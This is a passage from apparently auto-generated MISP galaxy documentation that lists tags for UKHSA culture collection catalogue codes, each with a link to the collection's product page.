The tag is: *misp-galaxy:ukhsa-culture-collections="C2018"*

Table 26887. Table References

Links
https://www.culturecollections.org.uk/nop/product/c2018

C2022

The tag is: *misp-galaxy:ukhsa-culture-collections="C2022"*

Table 26888. Table References

Links
https://www.culturecollections.org.uk/nop/product/c2022

C2025

The tag is: *misp-galaxy:ukhsa-culture-collections="C2025"*

Table 26889. Table References

Links
https://www.culturecollections.org.uk/nop/product/c2025

C2026

The tag is: *misp-galaxy:ukhsa-culture-collections="C2026"*

Table 26890. Table References

Links
https://www.culturecollections.org.uk/nop/product/c2026

C2023

The tag is: *misp-galaxy:ukhsa-culture-collections="C2023"*

Table 26891. Table References

Links
https://www.culturecollections.org.uk/nop/product/c2023

C2027

The tag is: *misp-galaxy:ukhsa-culture-collections="C2027"*

Table 26892. Table References

Links
https://www.culturecollections.org.uk/nop/product/c2027

C2046

The tag is: *misp-galaxy:ukhsa-culture-collections="C2046"*

Table 26893. Table References

Links
https://www.culturecollections.org.uk/nop/product/c2046

C2048

The tag is: *misp-galaxy:ukhsa-culture-collections="C2048"*

Table 26894. Table References

Links
https://www.culturecollections.org.uk/nop/product/c2048

C2039

The tag is: *misp-galaxy:ukhsa-culture-collections="C2039"*

Table 26895. Table References

Links
https://www.culturecollections.org.uk/nop/product/c2039

C2089

The tag is: *misp-galaxy:ukhsa-culture-collections="C2089"*

Table 26896. Table References

Links
https://www.culturecollections.org.uk/nop/product/c2089

C2090

The tag is: *misp-galaxy:ukhsa-culture-collections="C2090"*

Table 26897. Table References

Links
https://www.culturecollections.org.uk/nop/product/c2090

C2091

The tag is: *misp-galaxy:ukhsa-culture-collections="C2091"*

Table 26898. Table References

Links
https://www.culturecollections.org.uk/nop/product/c2091

C2093

The tag is: *misp-galaxy:ukhsa-culture-collections="C2093"*

Table 26899. Table References

Links
https://www.culturecollections.org.uk/nop/product/c2093

C2072

The tag is: *misp-galaxy:ukhsa-culture-collections="C2072"*

Table 26900. Table References

Links
https://www.culturecollections.org.uk/nop/product/c2072

C2071

The tag is: *misp-galaxy:ukhsa-culture-collections="C2071"*

Table 26901. Table References

Links
https://www.culturecollections.org.uk/nop/product/c2071

C2070

The tag is: *misp-galaxy:ukhsa-culture-collections="C2070"*

Table 26902. Table References

Links
https://www.culturecollections.org.uk/nop/product/c2070

C2074

The tag is: *misp-galaxy:ukhsa-culture-collections="C2074"*

Table 26903. Table References

Links
https://www.culturecollections.org.uk/nop/product/c2074

C2085

The tag is: *misp-galaxy:ukhsa-culture-collections="C2085"*

Table 26904. Table References

Links
https://www.culturecollections.org.uk/nop/product/c2085

C2081

The tag is: *misp-galaxy:ukhsa-culture-collections="C2081"*

Table 26905. Table References

Links
https://www.culturecollections.org.uk/nop/product/c2081

C2111

The tag is: *misp-galaxy:ukhsa-culture-collections="C2111"*

Table 26906. Table References

Links
https://www.culturecollections.org.uk/nop/product/c2111

C2110

The tag is: *misp-galaxy:ukhsa-culture-collections="C2110"*

Table 26907. Table References

Links
https://www.culturecollections.org.uk/nop/product/c2110

C2118

The tag is: *misp-galaxy:ukhsa-culture-collections="C2118"*

Table 26908. Table References

Links
https://www.culturecollections.org.uk/nop/product/c2118

C2119

The tag is: *misp-galaxy:ukhsa-culture-collections="C2119"*

Table 26909. Table References

Links
https://www.culturecollections.org.uk/nop/product/c2119

C2120

The tag is: *misp-galaxy:ukhsa-culture-collections="C2120"*

Table 26910. Table References

Links
https://www.culturecollections.org.uk/nop/product/c2120

C2121

The tag is: *misp-galaxy:ukhsa-culture-collections="C2121"*

Table 26911. Table References

Links
https://www.culturecollections.org.uk/nop/product/c2121

C2122

The tag is: *misp-galaxy:ukhsa-culture-collections="C2122"*

Table 26912. Table References

Links
https://www.culturecollections.org.uk/nop/product/c2122

C2078

The tag is: *misp-galaxy:ukhsa-culture-collections="C2078"*

Table 26913. Table References

Links
https://www.culturecollections.org.uk/nop/product/c2078

C2109

The tag is: *misp-galaxy:ukhsa-culture-collections="C2109"*

Table 26914. Table References

Links
https://www.culturecollections.org.uk/nop/product/c2109

C2141

The tag is: *misp-galaxy:ukhsa-culture-collections="C2141"*

Table 26915. Table References

Links
https://www.culturecollections.org.uk/nop/product/c2141

C2139

The tag is: *misp-galaxy:ukhsa-culture-collections="C2139"*

Table 26916. Table References

Links
https://www.culturecollections.org.uk/nop/product/c2139

C2135

The tag is: *misp-galaxy:ukhsa-culture-collections="C2135"*

Table 26917. Table References

Links
https://www.culturecollections.org.uk/nop/product/c2135

C2108

The tag is: *misp-galaxy:ukhsa-culture-collections="C2108"*

Table 26918. Table References

Links
https://www.culturecollections.org.uk/nop/product/c2108

C2114

The tag is: *misp-galaxy:ukhsa-culture-collections="C2114"*

Table 26919. Table References

Links
https://www.culturecollections.org.uk/nop/product/c2114

C2113

The tag is: *misp-galaxy:ukhsa-culture-collections="C2113"*

Table 26920. Table References

Links
https://www.culturecollections.org.uk/nop/product/c2113

C2116

The tag is: *misp-galaxy:ukhsa-culture-collections="C2116"*

Table 26921. Table References

Links
https://www.culturecollections.org.uk/nop/product/c2116

C2148

The tag is: *misp-galaxy:ukhsa-culture-collections="C2148"*

Table 26922. Table References

Links
https://www.culturecollections.org.uk/nop/product/c2148

C2146

The tag is: *misp-galaxy:ukhsa-culture-collections="C2146"*

Table 26923. Table References

Links
https://www.culturecollections.org.uk/nop/product/c2146

C2145

The tag is: *misp-galaxy:ukhsa-culture-collections="C2145"*

Table 26924. Table References

Links
https://www.culturecollections.org.uk/nop/product/c2145

C2144

The tag is: *misp-galaxy:ukhsa-culture-collections="C2144"*

Table 26925. Table References

Links
https://www.culturecollections.org.uk/nop/product/c2144

C2143

The tag is: *misp-galaxy:ukhsa-culture-collections="C2143"*

Table 26926. Table References

Links
https://www.culturecollections.org.uk/nop/product/c2143

C2142

The tag is: *misp-galaxy:ukhsa-culture-collections="C2142"*

Table 26927. Table References

Links
https://www.culturecollections.org.uk/nop/product/c2142

C2132

The tag is: *misp-galaxy:ukhsa-culture-collections="C2132"*

Table 26928. Table References

Links
https://www.culturecollections.org.uk/nop/product/c2132

C2130

The tag is: *misp-galaxy:ukhsa-culture-collections="C2130"*

Table 26929. Table References

Links
https://www.culturecollections.org.uk/nop/product/c2130

C2128

The tag is: *misp-galaxy:ukhsa-culture-collections="C2128"*

Table 26930. Table References

Links
https://www.culturecollections.org.uk/nop/product/c2128

C2127

The tag is: *misp-galaxy:ukhsa-culture-collections="C2127"*

Table 26931. Table References

Links
https://www.culturecollections.org.uk/nop/product/c2127

C2126

The tag is: *misp-galaxy:ukhsa-culture-collections="C2126"*

Table 26932. Table References

Links
https://www.culturecollections.org.uk/nop/product/c2126

C2125

The tag is: *misp-galaxy:ukhsa-culture-collections="C2125"*

Table 26933. Table References

Links
https://www.culturecollections.org.uk/nop/product/c2125

C2161

The tag is: *misp-galaxy:ukhsa-culture-collections="C2161"*

Table 26934. Table References

Links
https://www.culturecollections.org.uk/nop/product/c2161

C2160

The tag is: *misp-galaxy:ukhsa-culture-collections="C2160"*

Table 26935. Table References

Links
https://www.culturecollections.org.uk/nop/product/c2160

C2159

The tag is: *misp-galaxy:ukhsa-culture-collections="C2159"*

Table 26936. Table References

Links
https://www.culturecollections.org.uk/nop/product/c2159

C2158

The tag is: *misp-galaxy:ukhsa-culture-collections="C2158"*

Table 26937. Table References

Links
https://www.culturecollections.org.uk/nop/product/c2158

C2156

The tag is: *misp-galaxy:ukhsa-culture-collections="C2156"*

Table 26938. Table References

Links
https://www.culturecollections.org.uk/nop/product/c2156

C2155

The tag is: *misp-galaxy:ukhsa-culture-collections="C2155"*

Table 26939. Table References

Links
https://www.culturecollections.org.uk/nop/product/c2155

C2153

The tag is: *misp-galaxy:ukhsa-culture-collections="C2153"*

Table 26940. Table References

Links
https://www.culturecollections.org.uk/nop/product/c2153

C2152

The tag is: *misp-galaxy:ukhsa-culture-collections="C2152"*

Table 26941. Table References

Links
https://www.culturecollections.org.uk/nop/product/c2152

C2151

The tag is: *misp-galaxy:ukhsa-culture-collections="C2151"*

Table 26942. Table References

Links
https://www.culturecollections.org.uk/nop/product/c2151

C2150

The tag is: *misp-galaxy:ukhsa-culture-collections="C2150"*

Table 26943. Table References

Links
https://www.culturecollections.org.uk/nop/product/c2150

C2103

The tag is: *misp-galaxy:ukhsa-culture-collections="C2103"*

Table 26944. Table References

Links
https://www.culturecollections.org.uk/nop/product/c2103

C2102

The tag is: *misp-galaxy:ukhsa-culture-collections="C2102"*

Table 26945. Table References

Links
https://www.culturecollections.org.uk/nop/product/c2102

C2101

The tag is: *misp-galaxy:ukhsa-culture-collections="C2101"*

Table 26946. Table References

Links
https://www.culturecollections.org.uk/nop/product/c2101

C2098

The tag is: *misp-galaxy:ukhsa-culture-collections="C2098"*

Table 26947. Table References

Links
https://www.culturecollections.org.uk/nop/product/c2098

C2179

The tag is: *misp-galaxy:ukhsa-culture-collections="C2179"*

Table 26948. Table References

Links
https://www.culturecollections.org.uk/nop/product/c2179

C2180

The tag is: *misp-galaxy:ukhsa-culture-collections="C2180"*

Table 26949. Table References

Links
https://www.culturecollections.org.uk/nop/product/c2180

C2172

The tag is: *misp-galaxy:ukhsa-culture-collections="C2172"*

Table 26950. Table References

Links
https://www.culturecollections.org.uk/nop/product/c2172

C2173

The tag is: *misp-galaxy:ukhsa-culture-collections="C2173"*

Table 26951. Table References

Links
https://www.culturecollections.org.uk/nop/product/c2173

C2174

The tag is: *misp-galaxy:ukhsa-culture-collections="C2174"*

Table 26952. Table References

Links
https://www.culturecollections.org.uk/nop/product/c2174

C2176

The tag is: *misp-galaxy:ukhsa-culture-collections="C2176"*

Table 26953. Table References

Links
https://www.culturecollections.org.uk/nop/product/c2176

C2175

The tag is: *misp-galaxy:ukhsa-culture-collections="C2175"*

Table 26954. Table References

Links
https://www.culturecollections.org.uk/nop/product/c2175

C2182

The tag is: *misp-galaxy:ukhsa-culture-collections="C2182"*

Table 26955. Table References

Links
https://www.culturecollections.org.uk/nop/product/c2182

C2183

The tag is: *misp-galaxy:ukhsa-culture-collections="C2183"*

Table 26956. Table References

Links
https://www.culturecollections.org.uk/nop/product/c2183

C2184

The tag is: *misp-galaxy:ukhsa-culture-collections="C2184"*

Table 26957. Table References

Links
https://www.culturecollections.org.uk/nop/product/c2184

C2185

The tag is: *misp-galaxy:ukhsa-culture-collections="C2185"*

Table 26958. Table References

Links
https://www.culturecollections.org.uk/nop/product/c2185

C2186

The tag is: *misp-galaxy:ukhsa-culture-collections="C2186"*

Table 26959. Table References

Links
https://www.culturecollections.org.uk/nop/product/c2186

C2187

The tag is: *misp-galaxy:ukhsa-culture-collections="C2187"*

Table 26960. Table References

Links
https://www.culturecollections.org.uk/nop/product/c2187

C2188

The tag is: *misp-galaxy:ukhsa-culture-collections="C2188"*

Table 26961. Table References

Links
https://www.culturecollections.org.uk/nop/product/c2188

C2190

The tag is: *misp-galaxy:ukhsa-culture-collections="C2190"*

Table 26962. Table References

Links
https://www.culturecollections.org.uk/nop/product/c2190

C2191

The tag is: *misp-galaxy:ukhsa-culture-collections="C2191"*

Table 26963. Table References

Links
https://www.culturecollections.org.uk/nop/product/c2191

C0107

The tag is: *misp-galaxy:ukhsa-culture-collections="C0107"*

Table 26964. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0107

C0209

The tag is: *misp-galaxy:ukhsa-culture-collections="C0209"*

Table 26965. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0209-2

C0001

The tag is: *misp-galaxy:ukhsa-culture-collections="C0001"*

Table 26966. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0001

C0043

The tag is: *misp-galaxy:ukhsa-culture-collections="C0043"*

Table 26967. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0043

C0163

The tag is: *misp-galaxy:ukhsa-culture-collections="C0163"*

Table 26968. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0163

C0922

The tag is: *misp-galaxy:ukhsa-culture-collections="C0922"*

Table 26969. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0922

C0921

The tag is: *misp-galaxy:ukhsa-culture-collections="C0921"*

Table 26970. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0921

C0920

The tag is: *misp-galaxy:ukhsa-culture-collections="C0920"*

Table 26971. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0920

C0919

The tag is: *misp-galaxy:ukhsa-culture-collections="C0919"*

Table 26972. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0919

C0918

The tag is: *misp-galaxy:ukhsa-culture-collections="C0918"*

Table 26973. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0918

C0917

The tag is: *misp-galaxy:ukhsa-culture-collections="C0917"*

Table 26974. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0917

C0915

The tag is: *misp-galaxy:ukhsa-culture-collections="C0915"*

Table 26975. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0915

C0913

The tag is: *misp-galaxy:ukhsa-culture-collections="C0913"*

Table 26976. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0913

C0911

The tag is: *misp-galaxy:ukhsa-culture-collections="C0911"*

Table 26977. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0911

C0910

The tag is: *misp-galaxy:ukhsa-culture-collections="C0910"*

Table 26978. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0910

C0909

The tag is: *misp-galaxy:ukhsa-culture-collections="C0909"*

Table 26979. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0909

C0908

The tag is: *misp-galaxy:ukhsa-culture-collections="C0908"*

Table 26980. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0908

C0907

The tag is: *misp-galaxy:ukhsa-culture-collections="C0907"*

Table 26981. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0907

C0906

The tag is: *misp-galaxy:ukhsa-culture-collections="C0906"*

Table 26982. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0906

C0904

The tag is: *misp-galaxy:ukhsa-culture-collections="C0904"*

Table 26983. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0904

C0902

The tag is: *misp-galaxy:ukhsa-culture-collections="C0902"*

Table 26984. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0902

C0901

The tag is: *misp-galaxy:ukhsa-culture-collections="C0901"*

Table 26985. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0901

C0899

The tag is: *misp-galaxy:ukhsa-culture-collections="C0899"*

Table 26986. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0899

C0898

The tag is: *misp-galaxy:ukhsa-culture-collections="C0898"*

Table 26987. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0898

C0897

The tag is: *misp-galaxy:ukhsa-culture-collections="C0897"*

Table 26988. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0897

C0896

The tag is: *misp-galaxy:ukhsa-culture-collections="C0896"*

Table 26989. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0896

C0895

The tag is: *misp-galaxy:ukhsa-culture-collections="C0895"*

Table 26990. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0895

C0894

The tag is: *misp-galaxy:ukhsa-culture-collections="C0894"*

Table 26991. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0894

C0893

The tag is: *misp-galaxy:ukhsa-culture-collections="C0893"*

Table 26992. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0893

C0892

The tag is: *misp-galaxy:ukhsa-culture-collections="C0892"*

Table 26993. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0892

C0891

The tag is: *misp-galaxy:ukhsa-culture-collections="C0891"*

Table 26994. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0891

C0890

The tag is: *misp-galaxy:ukhsa-culture-collections="C0890"*

Table 26995. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0890

C0888

The tag is: *misp-galaxy:ukhsa-culture-collections="C0888"*

Table 26996. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0888

C0886

The tag is: *misp-galaxy:ukhsa-culture-collections="C0886"*

Table 26997. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0886

C0885

The tag is: *misp-galaxy:ukhsa-culture-collections="C0885"*

Table 26998. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0885

C0884

The tag is: *misp-galaxy:ukhsa-culture-collections="C0884"*

Table 26999. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0884

C0883

The tag is: *misp-galaxy:ukhsa-culture-collections="C0883"*

Table 27000. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0883

C0882

The tag is: *misp-galaxy:ukhsa-culture-collections="C0882"*

Table 27001. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0882

C0881

The tag is: *misp-galaxy:ukhsa-culture-collections="C0881"*

Table 27002. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0881

C0880

The tag is: *misp-galaxy:ukhsa-culture-collections="C0880"*

Table 27003. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0880

C0878

The tag is: *misp-galaxy:ukhsa-culture-collections="C0878"*

Table 27004. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0878

C0851

The tag is: *misp-galaxy:ukhsa-culture-collections="C0851"*

Table 27005. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0851

C0850

The tag is: *misp-galaxy:ukhsa-culture-collections="C0850"*

Table 27006. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0850

C0849

The tag is: *misp-galaxy:ukhsa-culture-collections="C0849"*

Table 27007. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0849

C0848

The tag is: *misp-galaxy:ukhsa-culture-collections="C0848"*

Table 27008. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0848

C0847

The tag is: *misp-galaxy:ukhsa-culture-collections="C0847"*

Table 27009. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0847

C0766

The tag is: *misp-galaxy:ukhsa-culture-collections="C0766"*

Table 27010. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0766

C0756

The tag is: *misp-galaxy:ukhsa-culture-collections="C0756"*

Table 27011. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0756

C0755

The tag is: *misp-galaxy:ukhsa-culture-collections="C0755"*

Table 27012. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0755

C0753

The tag is: *misp-galaxy:ukhsa-culture-collections="C0753"*

Table 27013. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0753

C0750

The tag is: *misp-galaxy:ukhsa-culture-collections="C0750"*

Table 27014. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0750

C0749

The tag is: *misp-galaxy:ukhsa-culture-collections="C0749"*

Table 27015. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0749

C0748

The tag is: *misp-galaxy:ukhsa-culture-collections="C0748"*

Table 27016. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0748

C0747

The tag is: *misp-galaxy:ukhsa-culture-collections="C0747"*

Table 27017. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0747

C0745

The tag is: *misp-galaxy:ukhsa-culture-collections="C0745"*

Table 27018. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0745

C0744

The tag is: *misp-galaxy:ukhsa-culture-collections="C0744"*

Table 27019. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0744

C0743

The tag is: *misp-galaxy:ukhsa-culture-collections="C0743"*

Table 27020. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0743

C0742

The tag is: *misp-galaxy:ukhsa-culture-collections="C0742"*

Table 27021. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0742

C0741

The tag is: *misp-galaxy:ukhsa-culture-collections="C0741"*

Table 27022. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0741

C0740

The tag is: *misp-galaxy:ukhsa-culture-collections="C0740"*

Table 27023. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0740

C0739

The tag is: *misp-galaxy:ukhsa-culture-collections="C0739"*

Table 27024. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0739

BV0763

The tag is: *misp-galaxy:ukhsa-culture-collections="BV0763"*

Table 27025. Table References

Links
https://www.culturecollections.org.uk/nop/product/bv0763

DD0650

The tag is: *misp-galaxy:ukhsa-culture-collections="DD0650"*

Table 27026. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd0650

DD1580

The tag is: *misp-galaxy:ukhsa-culture-collections="DD1580"*

Table 27027. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd1580

DD2274

The tag is: *misp-galaxy:ukhsa-culture-collections="DD2274"*

Table 27028. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd2274

B0317047

The tag is: *misp-galaxy:ukhsa-culture-collections="B0317047"*

Table 27029. Table References

Links
https://www.culturecollections.org.uk/nop/product/b0317047

C0738

The tag is: *misp-galaxy:ukhsa-culture-collections="C0738"*

Table 27030. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0738

C0214

The tag is: *misp-galaxy:ukhsa-culture-collections="C0214"*

Table 27031. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0214

C0215

The tag is: *misp-galaxy:ukhsa-culture-collections="C0215"*

Table 27032. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0215

C0213

The tag is: *misp-galaxy:ukhsa-culture-collections="C0213"*

Table 27033. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0213

C0211

The tag is: *misp-galaxy:ukhsa-culture-collections="C0211"*

Table 27034. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0211

C0210

The tag is: *misp-galaxy:ukhsa-culture-collections="C0210"*

Table 27035. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0210

C0207

The tag is: *misp-galaxy:ukhsa-culture-collections="C0207"*

Table 27036. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0207

C0205

The tag is: *misp-galaxy:ukhsa-culture-collections="C0205"*

Table 27037. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0205

C0202

The tag is: *misp-galaxy:ukhsa-culture-collections="C0202"*

Table 27038. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0202

C0201

The tag is: *misp-galaxy:ukhsa-culture-collections="C0201"*

Table 27039. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0201

C0200

The tag is: *misp-galaxy:ukhsa-culture-collections="C0200"*

Table 27040. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0200

C0199

The tag is: *misp-galaxy:ukhsa-culture-collections="C0199"*

Table 27041. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0199

C0197

The tag is: *misp-galaxy:ukhsa-culture-collections="C0197"*

Table 27042. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0197

C0196

The tag is: *misp-galaxy:ukhsa-culture-collections="C0196"*

Table 27043. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0196

C0194

The tag is: *misp-galaxy:ukhsa-culture-collections="C0194"*

Table 27044. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0194

C0195

The tag is: *misp-galaxy:ukhsa-culture-collections="C0195"*

Table 27045. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0195

C0193

The tag is: *misp-galaxy:ukhsa-culture-collections="C0193"*

Table 27046. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0193

C0192

The tag is: *misp-galaxy:ukhsa-culture-collections="C0192"*

Table 27047. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0192

C0191

The tag is: *misp-galaxy:ukhsa-culture-collections="C0191"*

Table 27048. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0191

C0190

The tag is: *misp-galaxy:ukhsa-culture-collections="C0190"*

Table 27049. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0190

C0188

The tag is: *misp-galaxy:ukhsa-culture-collections="C0188"*

Table 27050. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0188

C0187

The tag is: *misp-galaxy:ukhsa-culture-collections="C0187"*

Table 27051. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0187

C0186

The tag is: *misp-galaxy:ukhsa-culture-collections="C0186"*

Table 27052. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0186

C0185

The tag is: *misp-galaxy:ukhsa-culture-collections="C0185"*

Table 27053. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0185

C0184

The tag is: *misp-galaxy:ukhsa-culture-collections="C0184"*

Table 27054. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0184

C0182

The tag is: *misp-galaxy:ukhsa-culture-collections="C0182"*

Table 27055. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0182

C0179

The tag is: *misp-galaxy:ukhsa-culture-collections="C0179"*

Table 27056. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0179

C0176

The tag is: *misp-galaxy:ukhsa-culture-collections="C0176"*

Table 27057. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0176

C0169

The tag is: *misp-galaxy:ukhsa-culture-collections="C0169"*

Table 27058. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0169

C0168

The tag is: *misp-galaxy:ukhsa-culture-collections="C0168"*

Table 27059. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0168

C0167

The tag is: *misp-galaxy:ukhsa-culture-collections="C0167"*

Table 27060. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0167

C0166

The tag is: *misp-galaxy:ukhsa-culture-collections="C0166"*

Table 27061. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0166

C0164

The tag is: *misp-galaxy:ukhsa-culture-collections="C0164"*

Table 27062. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0164

C0137

The tag is: *misp-galaxy:ukhsa-culture-collections="C0137"*

Table 27063. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0137

C0129

The tag is: *misp-galaxy:ukhsa-culture-collections="C0129"*

Table 27064. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0129

C0110

The tag is: *misp-galaxy:ukhsa-culture-collections="C0110"*

Table 27065. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0110

C0877

The tag is: *misp-galaxy:ukhsa-culture-collections="C0877"*

Table 27066. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0877

C0875

The tag is: *misp-galaxy:ukhsa-culture-collections="C0875"*

Table 27067. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0875

C0874

The tag is: *misp-galaxy:ukhsa-culture-collections="C0874"*

Table 27068. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0874

C0871

The tag is: *misp-galaxy:ukhsa-culture-collections="C0871"*

Table 27069. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0871

C0872

The tag is: *misp-galaxy:ukhsa-culture-collections="C0872"*

Table 27070. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0872

C0870

The tag is: *misp-galaxy:ukhsa-culture-collections="C0870"*

Table 27071. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0870

C0868

The tag is: *misp-galaxy:ukhsa-culture-collections="C0868"*

Table 27072. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0868

C0867

The tag is: *misp-galaxy:ukhsa-culture-collections="C0867"*

Table 27073. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0867

C0864

The tag is: *misp-galaxy:ukhsa-culture-collections="C0864"*

Table 27074. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0864

C0863

The tag is: *misp-galaxy:ukhsa-culture-collections="C0863"*

Table 27075. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0863

C0862

The tag is: *misp-galaxy:ukhsa-culture-collections="C0862"*

Table 27076. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0862

C0861

The tag is: *misp-galaxy:ukhsa-culture-collections="C0861"*

Table 27077. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0861

C0858

The tag is: *misp-galaxy:ukhsa-culture-collections="C0858"*

Table 27078. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0858

C0857

The tag is: *misp-galaxy:ukhsa-culture-collections="C0857"*

Table 27079. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0857

C0856

The tag is: *misp-galaxy:ukhsa-culture-collections="C0856"*

Table 27080. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0856

C0855

The tag is: *misp-galaxy:ukhsa-culture-collections="C0855"*

Table 27081. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0855

C0854

The tag is: *misp-galaxy:ukhsa-culture-collections="C0854"*

Table 27082. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0854

C0100

The tag is: *misp-galaxy:ukhsa-culture-collections="C0100"*

Table 27083. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0100

C0097

The tag is: *misp-galaxy:ukhsa-culture-collections="C0097"*

Table 27084. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0097

C0091

The tag is: *misp-galaxy:ukhsa-culture-collections="C0091"*

Table 27085. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0091

C0085

The tag is: *misp-galaxy:ukhsa-culture-collections="C0085"*

Table 27086. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0085

C0063

The tag is: *misp-galaxy:ukhsa-culture-collections="C0063"*

Table 27087. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0063

C0055

The tag is: *misp-galaxy:ukhsa-culture-collections="C0055"*

Table 27088. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0055

C0047

The tag is: *misp-galaxy:ukhsa-culture-collections="C0047"*

Table 27089. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0047-2
https://www.culturecollections.org.uk/nop/product/c0047

C1010

The tag is: *misp-galaxy:ukhsa-culture-collections="C1010"*

Table 27090. Table References

Links
https://www.culturecollections.org.uk/nop/product/c1010

C1006

The tag is: *misp-galaxy:ukhsa-culture-collections="C1006"*

Table 27091. Table References

Links
